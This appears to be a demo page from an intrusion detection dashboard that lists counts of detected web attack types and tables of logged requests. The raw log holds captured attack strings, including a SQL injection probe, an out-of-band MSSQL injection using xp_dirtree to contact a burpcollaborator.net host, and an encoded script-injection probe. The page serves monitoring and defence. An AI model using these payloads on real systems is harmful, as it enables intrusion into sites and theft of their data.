idsthreat

Threat Count
Total Logs 4228982
Anomaly 454720
Normal 2808897
CSRF 1264
LDAP 103598
OSCommand 18558
PathTraversal 153166
SQL 629095
SSI 2
XPath 445
XSS 59237

Latest log

IP Address Country Timestamp Request Url Response Code Type
106.66.226.13 IN 15/Feb/2021:16:29:02 - - 408 ldap
117.241.158.41 IN 15/Feb/2021:16:25:36 - - 408 ldap
117.241.158.41 IN 15/Feb/2021:16:25:36 - - 408 ldap
40.77.167.15 US 15/Feb/2021:16:23:11 GET /?destination=/user/41%3Fpage%3D8&_exception_s 200 sql
49.36.162.53 IN 15/Feb/2021:16:19:12 GET /thesis 200 anomaly
14.139.69.12 IN 15/Feb/2021:16:11:59 GET / 200 anomaly

Pages

Raw log

IP Address Country Timestamp Request Response Code Url
43.230.36.239 IN 21/Feb/2021:22:41:09 GET 200 /node/281?192942088%20or%204884%3d4885=1
43.230.36.239 IN 21/Feb/2021:22:40:03 GET 404 /sites/default/files/2020-01/ptmsz8lqmkyy2b8i25r27e2vbmhg5a9y1msef43t.burpcollaborator.net
43.230.36.239 IN 21/Feb/2021:22:37:41 GET 200 /node/507?1)%3bdeclare%20@q%20varchar(99)%3bset%20@q%3d'%5c%5c8t2bzrl9m3yh2u812orl7x2eb5hz5vyjpbd50vok.burpcollab'%2b'orator.net%5cojq'%3b%20exec%20master.dbo.xp_dirtree%20@q%3b--%20=1
43.230.36.239 IN 21/Feb/2021:22:37:37 GET 200 /node/507
43.230.36.239 IN 21/Feb/2021:22:36:15 GET 200 /node/615?jw32h%253c%252fscript%253eshe3j=1

Pages

Demo